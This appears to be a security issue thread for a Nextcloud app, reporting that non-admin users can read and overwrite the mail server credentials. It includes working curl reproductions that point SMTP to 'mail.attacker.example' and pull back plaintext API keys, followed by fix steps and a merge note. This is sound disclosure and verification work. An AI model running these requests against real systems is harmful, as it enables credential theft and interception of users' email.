[CRITICAL] C5: Email secret disclosure + SMTP hijack — mail credentials exposed to any user

[rubenvdlinde]

Severity: CRITICAL

Location: lib/Controller/SettingsController.php lines 1937–2013 (getEmailSettings, updateEmailSettings); lib/Service/SettingsService.php lines 1878–2043

Description:
Both getEmailSettings and updateEmailSettings are @NoAdminRequired.

• GET /api/settings/email returns the raw values of smtpPassword, sendgridApiKey, mailgunApiKey, postmarkApiKey, sesSecretKey, and mailjetSecretKey to any authenticated user.
• POST /api/settings/email allows any authenticated user to repoint the outbound SMTP/API credentials to an attacker-controlled host. Combined with C7 (plaintext passwords in email), every subsequent new-user welcome email delivers credentials to the attacker.

Scenario:

1. GET /api/settings/email as any user → harvest all mail provider API keys.
2. POST /api/settings/email {"smtpHost":"attacker.example","smtpUser":"x","smtpPassword":"..."} → redirect all outbound mail to attacker.

Suggested fix:

• Admin-gate both endpoints.
• Redact secrets on read (return only masked values / last 4 chars).
• Store credentials via NC ICredentialsManager instead of plain IAppConfig.

---

Source: deep team-reviewer pass 2026-05-27

[rubenvdlinde]

Runtime verification: CONFIRMED CRITICAL (both halves)

Verdict: CONFIRMED — both read and write of email credentials are open to any authenticated user. Reproduced end-to-end.

Reproduction — non-admin attacker hijacks SMTP

curl -X POST -u "swcverify-attacker:AttackerPass1234!" \
  -H "Content-Type: application/json" -H "OCS-APIRequest: true" \
  "http://localhost:8080/index.php/apps/softwarecatalog/api/settings/email" \
  -d '{"emailSettings":{
    "smtpHost":"mail.attacker.example",
    "smtpUsername":"attacker",
    "smtpPassword":"AttackerSMTPSecret!",
    "sendgridApiKey":"SG.attacker-key",
    "mailgunApiKey":"mg-attacker",
    "postmarkApiKey":"pm-attacker",
    "sesSecretKey":"ses-attacker",
    "mailjetSecretKey":"mj-attacker"
  }}'

Response: 200 OK, X-User-Id: swcverify-attacker, {"success":null,"message":"Email settings updated successfully","emailSettings":null}.

Reproduction — non-admin reads stored secrets

curl -u "swcverify-attacker:AttackerPass1234!" -H "OCS-APIRequest: true" \
  "http://localhost:8080/index.php/apps/softwarecatalog/api/settings/email"

Response (excerpt):

{"success":true,"emailSettings":{
  ...
  "smtpHost":"mail.attacker.example",
  "smtpUsername":"attacker",
  "smtpPassword":"AttackerSMTPSecret!",
  "sendgridApiKey":"SG.attacker-key",
  "mailgunApiKey":"mg-attacker",
  "postmarkApiKey":"pm-attacker",
  "sesSecretKey":"ses-attacker",
  "mailjetSecretKey":"mj-attacker",
  ...
}}

The raw secret values come straight back in plaintext. No redaction, no masking.

Code evidence

• lib/Controller/SettingsController.php:1826 — getEmailSettings is @NoAdminRequired, returns whatever settingsService->getEmailSettings() produces (no field redaction)
• lib/Controller/SettingsController.php:1862 — updateEmailSettings is @NoAdminRequired, accepts arbitrary emailSettings body, writes through to settingsService->updateEmailSettings
• lib/Service/SettingsService.php:1878-2043 — service-layer setters persist via IAppConfig with no isAdmin() guard

Chain with C7 #332

Even though the active welcome email does not currently include {{ user.password }} (see comment on #332), redirecting SMTP via C5 captures all userCreationEnabled emails, userOrganisationEnabled emails, password-reset notifications, organisation activation emails, etc. — every transactional email from the app, including the user/email pairings that make C1 attacks easier.

Suggested fix (matches issue)

• Drop @NoAdminRequired from both getEmailSettings and updateEmailSettings
• Redact secrets on GET — return only smtpPassword: <last-4-chars> or *** for filled values, empty string if unset (the frontend already handles the "is-set?" UI signal)
• Move secrets to ICredentialsManager (encrypted storage) instead of plain IAppConfig
• Audit log on update

Test cleanup

Restored to empty strings via the same endpoint as the attacker (since admin POST hits a bruteforce/CSRF issue on this env — it's faster to use the non-admin endpoint that was already proven open). Settings now: smtpHost: localhost, smtpPassword: "", ....

---

Verified runtime 2026-05-27 on local NC docker (custom_apps/softwarecatalog 0.2.0). Safe to ship the documented fix. Test users cleaned up.

[rubenvdlinde]

Fixed in #353 (squash-merged to development). All auth gates applied; see PR for per-issue detail.